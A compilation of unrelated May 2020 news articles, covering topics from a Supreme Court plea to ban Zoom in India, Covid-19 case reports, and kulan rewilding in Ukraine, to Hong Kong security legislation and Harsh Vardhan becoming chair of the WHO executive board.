The Supreme Court (SC) on Friday sought the response of the central government in a plea seeking a ban on the use of Zoom software application, citing privacy and security concerns.

Zoom app, which is owned by the US-headquartered company, Zoom Video Communications, enables video conferences and online chat facilities. The use of the platform is free for video conferences of up to 100 participants with a 40-minute time limit. For longer or larger conferences with more features, paid subscriptions are available.

The petitioner, Harsh Chugh, who is a part-time tutor, told the apex court that the sudden boom in the use of Zoom application because of the lockdown restrictions, which were imposed to prevent the spread of coronavirus disease (Covid-19) outbreak, has severely compromised cyberspace security, as personal data of its users are being routinely leaked.

Poor privacy and security of the application have enabled the hackers to get access to the meeting, classes, and conferences being conducted online through this application. Zoom is reported to have a bug that can be abused intentionally to leak information of users to third parties, the plea said.

Chugh prayed that there should be a ban on the use of Zoom for both official and personal purposes until an appropriate law addressing data security issues is put in place.

A bench, headed by Chief Justice of India SA Bobde, issued notice to the central government in the matter.

The petition pointed out that the Zoom application saw exponential growth in its users from 10 million in December 2019 to 200 million in March 2020 due to the pandemic-induced lockdown restrictions.

The petitioner alleged that the application has made false claims that its calls are end-to-end encrypted.

Chugh also alleged that Zoom practices data hoarding, including mass storage of users personal data.

Zoom was capitalising off the pandemic by selling users information to Facebook without their consent. Zoom is sending the data it collects from the computer of its users even if they werent logged on to a Facebook account, the petition said.

It was also contended that the application causes a serious violation of the right to privacy which is a fundamental right, under Article 21 of the Constitution.

Zoom is reported to have a bug that can be abused intentionally to leak information of users to third parties. Zoom pedals its products knowing that hackers are accessing users webcams, exposing them to extreme invasions of privacy, it added.

On April 1, the ministry of home (MHA) affairs through its cyber coordination committee had issued an advisory on the secure use of Zoom by private individuals. This advisory stated that the platform is not for use for official purposes.

The petitioner pointed out that various high courts across the country are still using the application, despite the MHA advisory.

The Bombay high court recently decided to live stream hearing on a trial basis. The bench of Justice GS Patel made the hearing of listed matters on April 9 publicly accessible. The hearing in the court of Justice Patel could be accessed by anyone and everyone via the Zoom application. Similarly, the Kerala high court has also started live-streaming of court hearings through this application, the plea stated.

It was also submitted that the Zoom founder and chief executive officer, Eric S Yuan, had accepted the fact that his company was not prepared for the influx of novice users.

Its not safe to conduct these conferences through an application, which has already been banned in several countries over security issues. The founder of the application has himself accepted that it has certain bugs leading to leakage of data and making it easy for hackers to access them, the plea added.




By Park Han-sol







The Korean and Myanmar governments are discussing investigating wreckage in the sea off Myanmar  presumably from a Korean Air flight that disappeared in 1987, according to the Ministry of Foreign Affairs.







The ministry said Thursday the governments were communicating through diplomatic channels about investigating the suspected fuselage, adding that further details could not be disclosed yet.







KAL858 was carrying 115 people from Baghdad to Seoul, Nov. 29, 1987, when the plane exploded in midair and disappeared near Myanmar. The then Chun Doo-hwan government failed to salvage any bodies, belongings or wreckage.







Government investigations conducted in 1987 and again during the 2003-08 Roh Moo-hyun administration concluded that two North Korean agents were responsible for the bombing of the jet.







However, victims' families have continued calling for a full inquiry because there was no physical evidence regarding the incident besides a confession from Kim Hyon-hui, one of the alleged bombers.







In early January, local broadcaster MBC reported that what could be the fuselage of KAL858 had been found in the Andaman Sea off Myanmar. This has prompted victims' families to demand recovery operations and the reopening the investigation.


Hunted into near extinction, a herd of kulan has been brought back to the steppe after an absence of hundreds of years.

The Danube is one of the world's most spectacular rivers. Starting in Germany's Black Forest, it winds its way for 1770 miles through 10 countries before emptying into the Black Sea in Romania and Ukraine.

But before the river flows into the sea, it forms the largest river delta wetland in Europe, comprising 2,200 square miles of rivers, canals, marshes, lakes, and reed islands. However, while the Danube Delta is rife with birds and other wildlife, there's one thing that's missing: Wild donkeys.

But not for long, thanks to the efforts of non-profits Rewilding Europe and Rewilding Ukraine. The teams have translocated a herd of 20 kulan to the delta's Tarutino Steppe in Ukraine. Eight males and 12 females were released into a large fenced enclosure for a period of acclimation. Later this year or early next year, the herd will be allowed to roam free on the steppe, "returning to an environment where they have been absent for hundreds of year," notes Rewilding Europe.

A subspecies of Asiatic wild ass, the kulan (Equus hemionus kulan) once ranged from the Mediterranean to the east of Mongolia. Sadly for the kulan, two hundred years of hunting and habitat loss has led to a decline of 95 percent of the animal's range; they are now on the IUCN Red List.

 Andrey Nekrasov/Rewilding Europe

Prior to the release, a feasibility study was conducted to ensure the wisdom of the plan; the release is just the first phase of a longer reintroduction program. Eventually, the initiative will result in a free-roaming herd of 250 to 300 individuals by 2035. The initial group came from the Askania-Nova Biosphere Reserve in southern Ukraine, where a small group of the animals was brought from Turkmenistan nearly 70 years ago.

Playing an important role in the rewilding of the steppe, the kulan are expected to increasing biodiversity while reducing wildfire risk by reducing excess vegetation, and giving boosting nature tourism.

This programme is really exciting because the kulan, which was once widely distributed across parts of Europe, can perform a vital natural grazing role in dry and cold environments, says Deli Saavedra, Rewilding Europes Rewilding Area Coordinator.

The grazing will also benefit animals like souslik and the steppe marmot; and while they may prove attractive prey for wolves and golden jackals, the kulan is not a sitting duck, so to speak.

"Incredibly hardy, kulan are well-adapted to their environment. As one of the fastest mammals on the planet, they can reach speeds of up to 70 kilometres per hour," notes Rewilding Europe. "Kulan are also social creatures, forming well-structured herds  this helps the animals defend themselves against predators."

While this program is focused just in the delta area, Rewilding Europe hopes to continue with kulan reintroductions in other extreme European environments in the future ... saving the world, one wild donkey at a time.
To make strong cases against criminals involved in heinous crimes, Lucknow police Commissionerate is booking them under the gangster act.

Since police Commissionerate system was made effective in Lucknow since January 13, cops are empowered to evoke gangster act against the criminals on its own without district magistrates intervention.

Booking criminals under gangster act make the case against them stronger, Lucknow Commissioner of Police Sujeet Pandey said.

During the lockdown, police have opened the gang chart of certain criminals starting with the accused in the murder of a lesser-known Hindu outfit leader Kamlesh Tiwari.

Kamlesh was murdered in October 2019.

On April 6, during the lockdown, police booked 13 people in connection with Kamleshs murder from various parts of UP. Besides, five were arrested from Surat and one each from Nagpur and Bengaluru.

Police booked five accused in connection with Ranjeet Bachchan murder case under the gangster act on May 5. These include Bachchans second wife Smriti Srivastava, her friend Deependra Verma, Sanjit, and Jitendra Verma.

A senior police official said 18 cases have been registered during the lockdown period in which 80 criminals have been booked under the gangsters act. Of these 80, the police have arrested 60 accused.
Moscow: Thrown off course by the coronavirus pandemic, Vladimir Putin is moving to regain the political initiative for his plan to remain as Russia's president potentially until 2036.

Putin may announce a snap ballot within weeks on proposed changes to the constitution that allow him to sidestep term limits, said four people familiar with Kremlin discussions on the matter.

Electronic voting will be used as well as polling stations to boost turnout and the result, the people said.

Russian President Vladimir Putin attends a meeting with representatives of the aviation industry via teleconference at the Novo-Ogaryovo residence outside Moscow. Credit:AP

Putin delayed the referendum on constitutional amendments originally scheduled for April 22 when the coronavirus crisis erupted in the northern spring.
The total number of Covid-19 cases in Bihar soared to 1,987 on Thursday, when 211 people tested positive for the coronavirus, as the health department declared a 55-year-old man, who died at a hospital two days ago, as the states tenth fatality due to the disease.

Click here for full Covid-19 coverage

According to State Epidemiologist Ragini Mishra, the deceased belonged to Khagaria district and died at the Sadar hospital in Begusarai.

His test reports came late Wednesday night, confirming he was infected with the coronavirus, she said.

The districts health society programme convenor Shailesh Chandra said the cause of the death was cardiac arrest.

The state has previously witnessed deaths of nine Covid-19 patients  two each from Patna and Vaishali and one each from Munger, East Champaran, Sitamarhi, Rohtas and Khagaria.

Meanwhile, the state health department said 211 people tested positive on Thursday, raising the states total to 1,978.

The central Bihar district of Jehanabad reported the highest 50 cases, six of them females. Two girls aged 8 years and a 10-year-old boy were the youngest patients. The districts tally has now risen to 108.

Other districts reporting a significant number of cases were Samastipur (25), Katihar (19), Rohtas and Gopalganj (17 each), Gopalganj (16), Sheikhpura (13) and Buxar and East Champaran (11 each).

All the 38 districts in the state have reported Covid-19 cases and Patna, Munger, Rohtas, Jehanabad and Begusarai happen to be the worst affected, all of them having respective tallies in three digits.

The number of Covid-19 patients who have been discharged, upon full recovery, from isolation wards is 593, the state health department said.

More than 1,500 cases have been reported in the state since the beginning of this month, which has been attributed mainly to the large-scale influx of migrants who have been returning to Bihar in droves by Shramik Special trains and every other mode of transport available, many of them even on bicycles and on foot, much to the consternation of the government.

Till date, 999 migrants have tested positive for Covid-19, the state health department said, adding that most infected returnees have come from Delhi (296), Maharashtra (253), Gujarat (180), Haryana (66), West Bengal (58) and Rajasthan (34).

The number of samples tested so far is 55,692, an addition of more than 2,000 since the previous day. Chief Minister Nitish Kumar has been insistent upon raising the number of samples tested every day to 10,000 as Bihar braces for more arrivals of migrants.

More than seven lakh migrants are currently lodged at thousands of quarantine centres set up across the state at district, block and panchayat levels, said state Information and Public Relations Department secretary Anupam Kumar.

He also said that 85 special trains, carrying close to 1.40 lakh migrants, reached Bihar on the day and another 1.43 lakh are scheduled to arrive on Friday by 87 Shramik Specials.
Lamar State College Orange and Port Arthur, unaffilated with Lamar University, are giving students the opportunity to take two free summer course to assist during this time of uncertainty and economic unrest.

The announcement comes a day after the Lamar Institute of Technology announced a similar plan to offer free summer courses, and reduced courses in the fall using funding from the federal CARES act.

Students will need to complete a Free Application for Federal Student Aid (FAFSA) to get the fees and tuition paid for two 3-credit courses.

The colleges shared the steps to apply and register for the courses in a joint press release:

New students. Complete and submit the Admissions Application (www.applytexas.org) for the summer of 2020.

All students. Complete and submit the 2019-2020 and 2020-2021 Financial Aid Application (www.fafsa.ed.gov). Use LSCOs school code 016748 or LSCPAs code 016666 .

All students. Register for summer classes at LSCO or LSCPANew students must meet with an advisor virtually or by phone to register.

Continuing students can register directly through their self-service account.

Note: Students who qualify for a Pell Grant and/or other grants will have the tuition and fees for the two free Summer 2020 semester courses paid by their financial aid award. Any student who does not qualify for a Pell Grant and/or other grants will have the tuition and fees for the two free Summer 2020 semester courses paid by LSCO or LSCPA institutional or grant funds. Some courses offer free textbooks (open source).

This is a list of FAQs provided by the colleges:

Am I required to enroll in two 3-credit hour courses this summer in order to receive the credit?

No. Any student who enrolls in only one 3-credit hour course this summer and completes and submits the 2019/2020 and 2020/2021 FAFSA will receive the credit for their one 3-credit hour course.

Am I required to enroll in two 3-credit hour courses during the same time period this summer in order to receive the credit?

No. Students who enrolls in two 3-credit hour course this summer in any combination and completes and submits the 2019/2020, 2020/2021 FAFSA will receive the credit. Students can enroll in any combination of summer courses and receive a credit for up to two 3-credit hour courses:

one 3-credit hour course during summer one and one 3-credit hour course during summer two

two 3-credit hour courses during summer one

two 3-credit hour courses during summer two

one 3-credit hour course during the all summer semester and one 3-credit hour course during either short summer semester

two 3-credit hour courses during the all summer semester

Can I enroll in more than two 3-credit hour courses during this summer?

Yes. Students are able to enroll in more than two 3-credit hour courses during the summer, according to LSCO and LSCPA registration guidelines. Students are encouraged to contact an advisor or refer to the student handbook for details on enrollment limits during the summer semester. However, LSCO and LSCPA will only credit student accounts for two 3-credit hour courses if they complete and submit the 2019/2020, 2020/2021 FAFSA and use LSCOs code 016748 or LSCPAs code 016666.

If tuition is credited, why am I doing the FAFSA?

In Financial Aid completion, Texas ranks a distant 31, with a completion rate of 55.2 percent among the 50 states. LSCO and LSCPA want to ensure that every eligible Texan uses the free resources available from federal aid. If you qualify, Financial Aid funds will be applied to your student account. If your Financial Aid is not enough to cover tuition, LSCO/LSCPA will cover the remaining expenses for students who have completed and submitted a 2019/2020 and 2020/2021 FAFSA. If your Financial Aid exceeds the cost of attendance, remaining funds will be issued as a refund. All students who submit the 2019/2020 and 2020/2021 FAFSA qualify and will be able to take up to two 3-credit hour courses any time this summer.

Who can help me complete the FAFSA?

For assistance completing the FAFSA, please contact the LSCO Financial Aid staff by calling (409) 882-3317 or emailing finaid@lsco.edu or LSCPA Financial Aid staff by calling (409) 984-6203 or emailing financialaid@lamarpa.edu.

Does my account get reviewed for the credit automatically? Do I need to do something else?

Yes, your account does get reviewed for the credit automatically. As long as you completed the FAFSA for 2019/2020, 2020/2021, then you should be on track for a credit for up to two 3-credit hour courses this summer. We will begin processing credits as soon as you enroll in coursework. College staff will contact you via your LSCO or LSCPA email address if you need to take further action.

I have completed my FAFSA and enrolled in summer courses. When is my tuition credited?

Students must complete both the 2019/2020 and 2020/2021 FAFSA and assign LSCO code 016748 or LSCPA code 016666 before the account can be reviewed. Therefore, LSCO/LSCPA Financial Aid staff begins reviewing student accounts to confirm that this requirement has been met. Once the review process has been completed, your tuition will be credited. College staff will contact you via your LSCO or LSCPA email address if you need to take further action.

I have completed my 2019/2020 and 2020/2021 FAFSA for another school. What do I do?

You would need to add Lamar State College Orange or Lamar State College Port Arthur to your record. While completing the Free Application for Federal Student Aid (FAFSA), you must list at least one college to receive your information. To add colleges after you have already submitted your FAFSA, click the Login button on the home page and log into FAFSA on the Web. Click Make FAFSA Corrections, and then navigate to the School Selection page. To search for a college that you want to receive your information, select the state in which the college is located, then enter the city and/or school name, and click Search. We will search our database and display your results in order by the best match. You can re-sort the list in alphabetical order by School Name. From the Search Results, you can select up to ten colleges to add to your list of Selected Schools. You can select an individual college, or you can press the Ctrl button on your keyboard and select multiple colleges. After you have selected the college(s), click the ADD>> button to add the college(s) to your list of Selected Schools. LSCOs school code is 016748 and LSCPAs code is 016666.

I have paid for my summer classes; how do I get my refund?

College staff will begin reviewing your account to see if you have completed and submitted all the 2019/2020 and 2020/2021 FAFSA, assigning the LSCO school code of 016748 or LSCPA code of 016666 in order to confirm that the credit can be applied. Once the review process has been completed, your account will be credited for up to two 3-credit hour courses enrolled in this summer. The business office will begin initiating the process for a refund as soon as your account has been cleared.

How do I stop my payment plan?

We are currently evaluating students that have enrolled and will process credits to qualified students. Once your credit has been processed, and your balance is zero, the payment plan will stop.

I am a dual credit student, still enrolled in high school and unable to complete the FAFSA. Am I eligible to receive the up to two 3-credit hour courses this summer?

High school students from districts that are partnering with LSCO and LSCPA can enroll in summer classes and receive the two 3-credit hour opportunity this summer. Enrollment must be approved and coordinated with the dual credit students district. Contact the LSCO Dual Credit Coordinator at cara.richard@lsco.edu or LSCPA Director of Dual Credit Programs, Hilda Billups, at 409-984-6102 or billupshm@lamarpa.edu for steps on how to register for up to two 3-credit hour courses for free this summer.

More information is available on the colleges websites.

isaac.windes@hearstnp.com

twitter.com/isaacdwindes
WASHINGTON  More than a dozen sailors from the aircraft carrier Theodore Roosevelt have tested positive for COVID-19 after they were believed to have recovered, which medical experts say shows how much remains unknown about the virus that causes the disease.

The episode aboard the carrier, which is now back at sea after being sidelined in Guam since late March by a COVID-19 outbreak that infected more than 1,100 members of its roughly 4,900-strong crew, occurred against a backdrop of reports from Germany and South Korea that also found positive test outcomes in previously infected people. The significance of that finding is unclear, according to experts: It most likely reflects the presence of harmless, noninfectious viral particles, but researchers cant yet rule out the possibility that the patients became reinfected, which would cast doubt on prospects for widespread immunity.

On balance, experts said, the uptick of positive cases on the carrier more likely exposes the limits of testing than it signifies episodes of reinfection. But even that raises a tough question for societies: what to do with people who test positive but probably are not infectious.

A total of 14 Theodore Roosevelt sailors who had appeared to have recovered from the disease have tested positive again, Adm. Michael Gilday, chief of naval operations, told reporters May 21, according to the Washington Post. As with all other sailors who had initially tested positive after the carrier arrived in Guam near the end of March, the crew members had been placed in isolation for 14 days, Cmdr. J. Myers Vasquez, a spokesperson for the U.S. Pacific Fleet, told Yahoo News.

Chief of Naval Operations Adm. Michael Gilday at a daily White House briefing on the coronavirus on April 1. (Mandel Ngan/AFP via Getty Images)

After exhibiting no symptoms for three straight days, each sailor was tested again. If he or she tested negative, then they had to wait another three or four days to be retested. Only if that final test was also negative were they considered recovered and allowed out of isolation and back onto the ship, Vasquez said. In practice, this meant sailors who tested positive were in isolation for almost three weeks, he added.

Story continues

Most of the Theodore Roosevelts sailors began returning to the carrier on April 29, according to Vasquez. On May 12, a few sailors began to complain of mild body aches and headaches. They didnt have the classic respiratory issues or fever that are more typically associated with COVID-19, Vasquez said.

Officials on the carrier asked the crew whether anyone else was experiencing the same symptoms. Several others came forward and said, I am, and they were tested, Vasquez said. The sailors who have retested positive are back in isolation on the naval base at Guam, while sailors who were in close contact with them have also been removed from the ship and placed in quarantine, he said.

The Theodore Roosevelt left Guam and entered the Philippine Sea on May 21 to conduct carrier qualification flights for its embarked carrier air wing, according to a Navy announcement. The ship is operating under a new set of measures designed to mitigate the risk of another outbreak, including minimizing in-person meetings, wearing masks and expanding meal hours to enable social distancing.

Sailors assigned to the aircraft carrier Theodore Roosevelt carry food supply boxes for sailors who tested negative for the coronavirus and are asymptomatic. (U.S. Navy/MC1 Julio Rivera/Anadolu Agency via Getty Images)

The phenomenon of patients who appeared to have recovered from COVID-19 testing positive again had also occurred in South Korea, Germany and Singapore, among other countries, according to Dr. Kavita Patel, a former senior health official in the administration of President Barack Obama. But that may be an artifact of the testing.

One of the most common types of test for the coronavirus is a so-called polymerase chain reaction (PCR) test, which detects the presence of viral RNA, or antigens, in nasal secretions. But in the cases of people who test positive using a PCR test after seeming to recover from the virus, the test may be detecting remnants of the virus that are not infectious, rather than active virus.

The test detects the presence of antigens, but it doesnt necessarily tell you whether its live virus or dead virus, Matthew Donovan, undersecretary of defense for personnel and readiness, told reporters on May 21. The ones that are retesting positive may actually have those antigens in their blood, but it may be dead virus. The Defense Health Agency is working with the Centers for Disease Control and Prevention to develop a test to definitively tell us that the positive is still positive; in other words, theyre still shedding live virus, where theyre infectious, he said.

In South Korea, when they went to do a viral culture, to see if those  particles were actually replicating what we would call viral load inside the bloodstream, they did not see that, Patel said. This is a limitation rather than a failure of the PCR test, which is designed to detect antigens, according to Patel.

A positive PCR test means theyre shedding virus; theyve got actual viral particles, but those viral particles might be dormant and not necessarily infectious, she said. You would have to culture them to see if they replicate at a certain rate over time and if they could actually pose a threat to the body.

Another complication is that even though individuals who test positive after recovering may not be infectious, they may still suffer mild symptoms such as those reported by the Theodore Roosevelt crew members, according to Saad Omer, director of the Yale Institute for Global Health.

Dr. Saad Omer. (Tom Williams/CQ Roll Call via Getty Images)

For patients who do not display the classic COVID-19 symptoms, which usually involve a combination of respiratory problems and a fever, the common nasal swab test is also problematic, according to Patel. As the virus migrates  into other parts of your body, you might not have a nasal swab thats always positive, which is why its not a perfect test itself, she said.

The worst-case scenario, both for the Theodore Roosevelt and for society at large, would be if the individuals who tested positive after recovering from COVID-19 had actually been reinfected, because that would not only mean they are capable of infecting others, but it would also imply that recovery from the disease confers little to no immunity against reinfection. In the case of the sailors on the carrier, that possibility is less likely because of how soon after testing negative the crew members reported symptoms, Omer said. The time period is fairly short for it to be the more plausible scenario.

Patel also sounded an optimistic note about the other reports of COVID-19 survivors who have retested positive. I havent seen global evidence of reinfection, she said. It might be a plausible explanation in some cases, she added, but given how infectious this virus is, I would expect there to be more.

But even if the phenomenon of people testing positive after seeming to recover from COVID-19 can be explained by testing that is either faulty or merely accurately detecting dead virus particles, that in itself can be controversial, Patel said, because it raises a tricky question: What do you do with those people? In other words, should they be treated the same as any other person testing positive?

Without a deeper understanding of the virus, the Navys decision to remove the sailors who had retested positive from the Theodore Roosevelt and place them in isolation again was the right thing to do, Patel said. You dont want to take the chance.

But the entire episode does underscore how much we really have to learn about this virus, said Samir Deshpande, a spokesperson for the lead Army effort to develop a vaccine for the coronavirus. Patel concurred. These were tests that were approved within the last 30 to 60 days, she said. I dont think that the same rule of thumb that were using for testing today is going to be the paradigm for a year from now, because well just know more about the virus.

_____

Click here for the latest coronavirus news and updates. According to experts, people over 60 and those who are immunocompromised continue to be the most at risk. If you have questions, please refer to the CDCs and WHOs resource guides.

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Maharashtra Home Minister Anil



Deshmukh praised a woman police personnel for performing the last rites of four deceased persons, whose bodies were unclaimed bodies during the COVID-19 lockdown in Mumbai.

Taking to Twitter on Thursday night, the minister said police naik Sandhya Sheelvant had performed the last rites of four deceased persons in one day and her dedication to her duty was admirable.

While some of the deceased were destitutes, one of them had tested positive for COVID-19 and his relatives could not claim the body.

Sheelvant, who is attached to the Shahu Nagar police station in central Mumbai, is responsible for registration of cases of accidental deaths in the area and has to collect unclaimed bodies, send them for post-mortem, trace kin of the deceased and dispose of bodies that remain unclaimed.

In wake of the COVID-19 pandemic and the lockdown, bodies of destitutes were left unclaimed and kin of some COVID-19 patients were scared of contracting the infection, Sheelvant said.

"It is my duty to dispose of unclaimed bodies and I am not scared of them. I collect blood samples of the deceased and even transport their viscera to forensic labs to ascertain the cause of deaths," she said.

Mortuaries were stretched to their limits because of the pandemic and many don't have space to store bodies, which then have to be disposed of at the earliest, she said.

"Since the lockdown, we have performed last rites of six deceased persons, whose bodies were unclaimed," said Sheelvant, adding that social responsibility trumps fear in these testing times.

Incidentally, Shahu Nagar police station lost one of its young police officers to COVID-19, but it has not deterred Sheelvant from performing her duty.

A mother two, Sheelvant says working in these conditions would not have been possible without the support of her husband and in-laws.

"I am able to do my best at work because of the support of my family and my seniors at the police station," she said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Britain, Canada and Australia issued a joint statement on Friday expressing their concern at Chinas proposals for legislation on national security in Hong Kong.

China is set to impose new national security laws on the former British colony of Hong Kong after last years pro-democracy unrest, a Chinese official said on Thursday.

We are deeply concerned at proposals for introducing legislation related to national security in Hong Kong, Britain, Canada and Australia said.

Making such a law on Hong Kongs behalf without the direct participation of its people, legislature or judiciary would clearly undermine the principle of One Country, Two Systems, under which Hong Kong is guaranteed a high degree of autonomy.

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Congress leader and spokesperson Sanjay Jha on Friday said he has tested positive for COVID-19 and will be under home quarantine for over a week as he is asymptomatic.

He also urged people not to underestimate transmission risks.

"I have tested positive for Covid-19. As I am asymptomatic I am in home quarantine for the next 10-12 days. Please don't underestimate transmission risks, we are all vulnerable. Do take care all," Jha said in a tweet.

His post came on a day when India recorded its biggest single-day surge of 6,088 COVID-19 cases, taking the nationwide tally to 1,18,447.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
There appears to be deepening suspicion over the continuous extension of coronavirus lockdown in Nigeria on the directive of President Muhammadu Buhari and governors of some states. Many stakeholders in the country are of the view that lockdown has not reduced or stopped the spread of coronavirus in the country. However, some have stated that certain questions are still begging for answers by the federal government of Nigeria over the assumed fight against coronavirus. The questions were posed to include:

How come every idea, discovery suggested or recommended as solution or remedy to corona virus is subjected to strict and rigorous scientific or medical scrutiny and certification/validation and often disapproved?

Why is there much amplification and acceptance of every theory that highlights the dreadfulness and mortality of coronavirus?

Why are there more infected persons during lockdown than when there was no lockdown?

How about cases of people who maintained all the recommended safety measures but still got infected; how did they get it?

Why are the NCDC, PTF or Ministry of Health not making the results of the tests known to the patients at the isolation centres and/or allow people conduct autopsy of their loved ones?

Why do we prefer waiting for vaccines that are not ready yet than using available solutions such as chloroquine, et al?

Why is it that everyone who asks question about coronavirus is tagged foolish or insulted heavily?

Why does it look like the government is desperate to allot numbers to coronavirus cases just to hype its effect?

Why is it that NCDC is suspicious and dont believe any governor in Nigeria that said there is no coronavirus in the state?

Why is there high-level secrecy about the treatment of Covid-19? Could it be that they want everyone to be in their records so as to meet the targeted number?

What is the essence of the total lockdown when strict adherence to hygiene routines can stop infections?

There is also discontentment over silencing dissenting voices, many which come from professionals, on the internet; authorities only approving comments that favour their suspicious mission.

Some have declared that while trying to believe everything about coronavirus, it could be considered imperative to ask the question if Covid-19 is synonymous with Malaria.

There is, however, the feeling that people are already safe and should go back to normal life; the economy should be reopened, the lockdown should be brought to an end.
Berkeley -- Residents of states with limited access to contraceptives and high rates of unplanned pregnancies are more likely to turn to the internet for information about abortion. These are the findings of a new study of Google search data across all 50 states by researchers at the University of California, Berkeley.

The results suggest that policies that limit access to birth control -- such as the Title X gag rule, which restricts federal funding from clinics that provide birth control if they also provide abortion information or referrals -- lead people to seek out family planning information online.

"What is surprising is that the opinions that people have toward abortion might influence whether they search for abortion, but we found that these opinions don't make a difference, once you control for health and legal factors," said Sylvia Guendelman, a professor of maternal, child and adolescent health at UC Berkeley and co-principal investigator of the study. "What encourages or incentivizes people to search seems to be far more pragmatic than just ideological."

The same results hold regardless of statewide opinions toward abortion or legal restrictions on abortion access. In fact, some states with the most restricted access to abortion care and the most negative opinions toward abortion, such as Alabama, Louisiana and Mississippi, actually had the highest Google search volume for abortion, the study found. In 2019, these three states all attempted to pass legislation banning the procedure after the sixth week of pregnancy or banning it outright.

"It's not that abortion restrictions don't make any difference. People in highly restrictive states search for abortion more. However, when you control for other factors, namely access to contraceptives and the rates of unplanned pregnancies, we found the latter are far more important determinants of what people are searching for when it comes to abortion," Guendelman said.

This study appeared online on Thursday, May 21, in the journal PLOS ONE.

Online search data can give researchers a unique glimpse into consumers' concerns regarding contentious issues like abortion, Guendelman said, because stigma and lack of access to reproductive health care may prevent people from seeking the information more publicly. However, navigating the internet can be perilous, due to the amount of misinformation there on both birth control and abortion.

The study analyzed the relative search volume, or proportion, of all Google searches containing the words "abortion" or "abortion pill" in each state in 2018. The researchers then compared these numbers to state-level, reproduction-related policies and attitudes, including legal restrictions on and protections for abortion, availability of abortion facilities, health care costs, access and health outcomes, opinions about abortion, concern about birth control and prevalence of unplanned pregnancies.

Many states impose significant restrictions on people seeking to obtain an abortion, including mandatory waiting periods and counseling. In some areas, the number of clinics that provide abortions is also severely limited: A recent study found that people in 27 U.S. cities with populations greater than 50,000 had to travel more than 100 miles to reach a clinic.

While Google search volume for "abortion" was not predicted by state restrictions on abortion, the research team did find that people in states with fewer abortion facilities were more likely to search for the term "abortion pill."

The abortion pill refers to medication that can be used to induce abortion. The higher search volume for "abortion pill" in states with a limited number of abortion facilities may imply that people who cannot access clinics are instead seeking out abortion information online, researchers said.

Restrictions and access barriers to contraceptives and abortion are particularly concerning during the COVID-19 pandemic, Guendelman said, as many people are now without work and struggling financially, child care centers and schools have shut down or gone remote, and many medical centers are limiting their in-person services.

However, medication abortion provides an opportunity to make abortion services available through telemedicine, as the drug regimen is easy to follow for self-administration, said Ndola Prata, co-principal investigator of the study.

"Before COVID-19, women were being redirected and restricted in terms of the reproductive choices that they could make and, as a result of that, they had to go online to find the right resources and to understand their options," Guendelman said. "Now, COVID-19 is impoverishing our population at a dramatic rate, and I think this is a time when the majority of women are looking for ways to plan their families in a way that is far more consistent with their values and their economic means than ever before. This is a time to ramp up the investment in prevention and good family planning."

###

Co-authors of the paper include Elena Yon, Elizabeth Pleasants and Alan Hubbard of UC Berkeley. This study was partially funded by David and Lucille Packard Foundation.
Commissioner's office of Chinese foreign ministry in HKSAR condemns US politicians' groundless remarks

Global Times

Source:Xinhua Published: 2020/5/21 17:33:33

The Office of the Commissioner of the Chinese Foreign Ministry in the Hong Kong Special Administrative Region (HKSAR) on Thursday firmly opposed and condemned the groundless comments by certain US politicians against the Chinese central government and the HKSAR government.

Certain US politicians, including Secretary of State Mike Pompeo and Senator Marco Rubio, made groundless accusations against and exerted pressure on the central and the HKSAR governments, the spokesperson of the commissioner's office noted.

While the central and the HKSAR governments are bringing Hong Kong society together to fight COVID-19 and restore the economy, some US politicians have kept making unwarranted allegations against the HKSAR legislative and judicial authorities' performance of duty, and tried to whitewash the anti-China troublemakers' criminal acts, the spokesperson said.

The last thing these politicians want to see is that Hong Kong heals social divisions and returns to the right track. But the evil intention of these "black hands" has already been laid bare, the spokesperson pointed out.

By either citing or alluding to the so-called "Hong Kong human rights and democracy act," a domestic legislation of the United States, Pompeo has blatantly intimidated the HKSAR government and obstructed its law-based governance, meddled with Hong Kong affairs, which are purely China's domestic affairs, and trampled international law and basic norms governing international relations, the spokesperson said.

The Hong Kong residents firmly supporting "one country, two systems" and all the 1.4 billion Chinese people who are united as one are not to be frightened, the spokesperson said.

"The Chinese government is firmly committed to upholding national sovereignty, security and development interests, to implementing the 'one country, two systems' policy, and to opposing any external interference in Hong Kong affairs," the spokesperson added.

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Cabinet seeks to update Ukraine-EU association deal, remove technical barriers to trade

23:10, 22.05.20 668

Ukraine is also currently working on draft regulation in line with international obligations in the field of procurement.
Union health minister Harsh Vardhan on Friday took charge as the chairman of the World Health Organization (WHO)s 34-member executive board at its 147th session to become the third Indian to currently occupy a senior position in the global health agency.

Vardhan will chair meetings of the board but the assignment isnt a full-time one. He will be chairman for a year.

The other Indians in senior roles at WHO are Dr Soumya Swaminathan, chief scientist, WHO Geneva, and Dr Poonam Khetrapal Singh, who is serving her second five-year term as the regional director, South East Asia Region, which is one of six WHO regions.

Harsh Vardhan succeeded Dr Hiroki Nakatani of Japan.

Apart from being Indias health minister, Vardhan also heads the ministries of science and technology, and earth sciences in the BJP-led NDA government.

I congratulate Dr Harsh Vardhan for being elected as the chair of the executive board of WHO. He will lead the board to the next level of excellence. I wish every success for the new chair, said Nakatani while handing over the post.

The World Health Organization is a specialised agency of the United Nations responsible for international public health. The agency is headquartered at Geneva in Switzerland. The 34-member executive board of the agency is technically qualified in the field of health, with members usually being elected for a three-year term, and each of them being designated by a member state.

The mandate of the executive board is to advise on the listed matters, and implement decisions and policies of the World Health Assembly.

India is one of the 194 member states at WHO, Dr Harsh Vardhan will hold the post for a year (2020-21).

I am sure that constant engagement with member states and other stakeholders will reinforce reforms and help accelerate progress towards achieving sustainable development goals and universal health coverage with the most productive, efficient and targeted utilisation of resources said Harsh Vardhan while taking charge.

My heart is heavy as lakhs of people have lost their lives to this deadly pandemic. Despite making great strides in science and technology we are still at the mercy of these pathogens. This is a great human tragedy and the next two decades may see many such challenges. All these challenges demand a shared response, because these are shared threats requiring a shared responsibility to act, he also said.

WHO is governed by two decision-making bodies: the World Health Assembly and the Executive Board. The Health Assembly is WHOs decision-making body, and consists of representatives from its 194 member states.

The member states or countries of WHO are divided into six groups that represent six different regions in the organisation: African Region; Region of the Americas; South-East Asia Region; European Region; Eastern Mediterranean Region; and Western Pacific Region.

Dr Harsh Vardhan has a rich experience in public health. He is the pioneer of Indias successful pulse polio program and has been in the forefront in the fight against tobacco and many other issues. The world can now gain from his expertise and experience, said SEA regional director, Dr Singh.

The post of the executive bodys chairman is held by each group by rotation.

The executive board usually meets twice in a year. In January, the main board meeting is held to set the agenda for the World Health Assembly that is held in May.

